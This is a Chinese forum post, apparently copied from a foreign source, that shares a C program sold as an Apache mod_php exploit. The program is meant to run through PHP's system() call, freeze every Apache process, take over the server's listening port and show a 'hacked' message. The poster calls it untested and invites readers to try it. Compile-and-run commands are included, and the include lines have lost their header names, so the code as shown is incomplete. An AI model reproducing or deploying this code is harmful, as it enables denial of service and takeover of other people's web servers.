Apache全版本存在漏洞！

xian123

国外抄来的，这个漏洞可以停止所有的Apache服务器，不知道有人发过没。也没有经过测试，有兴趣的朋友可以测试一下！E文不懂不要紧，你不知道,google知道！
-------------------------------------
下面是原文：
Hi This Exploit can Stop all apache in server then you can connect by netcat and you dont Facing any problem like this problem
Reduced: 97% of original size [ 527 x 89 ] - Click to view full image

QUOTE
/*******************************************************/
/* */
/* Apache's mod_php exploit */
/* Stops all Apache processes (except root), and */
/* listens to Apache's port */
/* */
/* Execute this via system() function of PHP */
/* */
/* Tested on: */
/* apache: 2.2.3 */
/* php: 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5 */
/* */
/* Coded by ZERO-COLD , 17/08/07 */
/* [ tryag.com/cc ] */
/* */
/*******************************************************/

#include
#include
#include
#include
#include
#include
#include
#include

char* header = "HTTP/1.1 200 OK\r\nContent-type: text/html\r\n\r\nSorry, the server is unavailable: hacked \r\n";

char tmp[1024];

int main()
{
chdir( "/" ); // do it, because it is recommended for daemons
signal( SIGCHLD, SIG_IGN ); // do not bother if a child dies
kill( getppid(), SIGKILL ); // kill parent (to avoid 'zombies')

if ( fork() ) return 0; // daemonize, and parent exit
sleep( 1 ); // wait for parent to exit (we don't want him to catch SIGSTOP)

int p = getsid( 0 ); // get current Process Group Id
setsid( ); // become session leader
kill( -p, SIGSTOP ); // good night, Apache Process Group

int sock;
struct sockaddr_in clientname;

for ( sock = 3; sock < getdtablesize(); sock++ ) // find valid socket handle
if ( listen (sock, 10) == 0 ) break;

while ( 1 )
{
int new;
unsigned size = sizeof( clientname );
new = accept( sock, (struct sockaddr *) &clientname, &size);

if (new < 0)
return 1;

if ( fork() == 0 ) // child will handle this connection, parent will listen for new connection
{

write( new, header, strlen(header) );
sprintf( tmp, "You are %s : %hd\n", inet_ntoa( clientname.sin_addr ),ntohs( clientname.sin_port ));
write( new, tmp, strlen(tmp)+1 );

shutdown( new, 2 );
close( new );

return 0;
}
}
}

gcc filname.c -o filename
./filename